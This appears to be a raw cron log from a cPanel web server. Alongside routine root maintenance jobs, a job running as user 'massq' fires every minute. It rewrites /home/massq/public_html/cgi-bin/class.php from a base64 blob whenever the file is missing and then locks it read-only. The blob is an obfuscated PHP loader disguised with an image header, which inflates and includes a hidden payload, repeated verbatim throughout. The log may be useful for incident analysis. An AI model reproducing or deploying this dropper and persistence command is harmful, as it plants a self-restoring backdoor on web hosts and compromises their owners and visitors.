Sep  1 18:24:01 server CROND[14604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:25:01 server CROND[15024]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:25:01 server CROND[15025]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 18:25:01 server CROND[15035]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 18:25:01 server CROND[15033]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 18:25:01 server CROND[15038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:25:01 server CROND[15037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:25:01 server CROND[15032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:25:01 server CROND[15034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:26:01 server CROND[15875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:26:01 server CROND[15876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:26:01 server CROND[15877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:27:01 server CROND[16346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:27:01 server CROND[16347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:27:01 server CROND[16349]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 18:27:01 server CROND[16351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:28:01 server CROND[16733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:28:01 server CROND[16734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:28:01 server CROND[16736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:29:01 server CROND[17121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:29:01 server CROND[17122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:29:01 server CROND[17123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:30:01 server CROND[17529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:30:01 server CROND[17532]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 18:30:01 server CROND[17531]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 18:30:01 server CROND[17533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:30:01 server CROND[17534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:30:01 server CROND[17536]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 18:30:01 server CROND[17535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:30:01 server CROND[17538]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:31:01 server CROND[18404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:31:01 server CROND[18405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:31:01 server CROND[18406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:32:01 server CROND[18786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:32:01 server CROND[18787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:32:01 server CROND[18788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:33:01 server CROND[19276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:33:01 server CROND[19274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:33:01 server CROND[19275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:34:01 server CROND[19665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:34:01 server CROND[19664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:34:01 server CROND[19666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:35:01 server CROND[20066]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 18:35:01 server CROND[20076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:35:01 server CROND[20078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:35:01 server CROND[20085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:35:01 server CROND[20087]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 18:35:01 server CROND[20082]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 18:35:01 server CROND[20086]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 18:35:01 server CROND[20088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
